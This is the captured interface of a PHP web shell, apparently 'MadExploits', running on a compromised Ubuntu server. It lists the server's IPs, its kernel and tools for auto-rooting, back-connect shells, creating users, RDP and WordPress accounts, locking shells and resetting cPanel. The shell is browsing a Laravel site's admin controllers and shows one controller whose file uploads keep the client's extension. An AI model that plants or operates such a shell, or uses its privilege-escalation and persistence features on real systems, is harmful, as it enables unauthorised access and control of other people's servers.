Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
new_tlmf /
app /
Http /
Controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
AboutusController.php
4.59
KB
-rw-rw-r--
AdminController.php
233
B
-rw-rw-r--
AlbumController.php
7.63
KB
-rw-rw-r--
CarousellController.php
4.41
KB
-rw-rw-r--
CommitteeController.php
7.94
KB
-rw-rw-r--
CommitteeTypeController.php
4.3
KB
-rw-rw-r--
ContactPersonController.php
5.13
KB
-rw-rw-r--
MasterCommitteeController.php
3.55
KB
-rw-rw-r--
MemberController.php
6.21
KB
-rw-rw-r--
MemberTypeController.php
3.14
KB
-rw-rw-r--
NewsController.php
4.41
KB
-rw-rw-r--
NoticeController.php
4.47
KB
-rw-rw-r--
SetupController.php
3.82
KB
-rw-rw-r--
VideoController.php
4
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ContactPersonController.php
<?php namespace App\Http\Controllers\admin; use App\Http\Controllers\Controller; use App\Http\Requests\StoreContactPersonRequest; use App\Http\Requests\UpdateContactPersonRequest; use App\Models\ContactPerson; use Illuminate\Support\Facades\DB; class ContactPersonController extends Controller { public function index() { try{ $contact_person = ContactPerson::where('status','active')->latest()->get()->first(); // return view('admin.contact_person.index',compact('contact_person')); return view('admin.contact_person.edit',compact('contact_person')); }catch(\Exception $e){ return $e; return redirect()->back()->with('error',"Something Went Wrong"); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { try{ $contact_person = ContactPerson::where('status','in-active')->latest()->get(); return view('admin.contact_person.index',compact('contact_person')); }catch(\Exception $e){ return $e; return redirect()->back()->with('error',"Please Check your input and try again."); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(StoreContactPersonRequest $request) { try{ $input['name'] = $request->name; $input['address'] = $request->full_address; $input['phone'] = $request->phone; $input['email'] = $request->email; $input['description'] = $request->description; $input['designation'] = $request->designation; if ($image = $request->file('image')) { $destinationPath = 'uploads/'; $profileImage = date('YmdHis') . "." . $image->getClientOriginalExtension(); $image->move($destinationPath, $profileImage); $input['image'] = "$profileImage"; } ContactPerson::create($input); return redirect()->route('contact_persons.create')->with('success','contact_person Posted Successfully'); }catch(\Exception $e){ return $e; return redirect()->route('contact_persons.index')->with('error',"SomeThing Went Wrong"); } } /** * Display the specified resource. * * @param \App\Models\contact_person $contact_person * @return \Illuminate\Http\Response */ public function show(ContactPerson $contact_person) { // } /** * Show the form for editing the specified resource. * * @param \App\Models\contact_person $contact_person * @return \Illuminate\Http\Response */ public function edit(ContactPerson $contact_person) { try { return view('admin.contact_person.edit',compact('contact_person')); } catch (\Throwable $th) { //throw $th; } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Models\contact_person $contact_person * @return \Illuminate\Http\Response */ public function update(UpdateContactPersonRequest $request, ContactPerson $contact_person) { try{ DB::beginTransaction(); // return $request; //update last setting to inactive $contact_person_update['status'] = 'in-active'; $contact_person->update($contact_person_update); $input['name'] = $request->name; $input['address'] = $request->full_address; $input['phone'] = $request->phone; $input['email'] = $request->email; $input['description'] = $request->description; $input['designation'] = $request->designation; if ($image = $request->file('image')) { $destinationPath = 'uploads/'; $profileImage = date('YmdHis') . "." . $image->getClientOriginalExtension(); $image->move($destinationPath, $profileImage); $input['image'] = "$profileImage"; }else{ $input['image'] = $contact_person->image; } ContactPerson::create($input); DB::commit(); return redirect()->route('contact_persons.index') ->with('success','Contact Person updated successfully'); }catch(\Exception $e){ DB::rollback(); return redirect()->route('contact_persons.index')->with('error','Something Went Wrong'); } } /** * Remove the specified resource from storage. * * @param \App\Models\contact_person $contact_person * @return \Illuminate\Http\Response */ public function destroy(ContactPerson $contact_person) { try{ $contact_person->delete(); return back()->with('success',"SuccessFully Deleted"); }catch(\Exception $e){ return redirect()->route('contact_persons.index')->with('error',"Something Went Wrong"); } } }
Close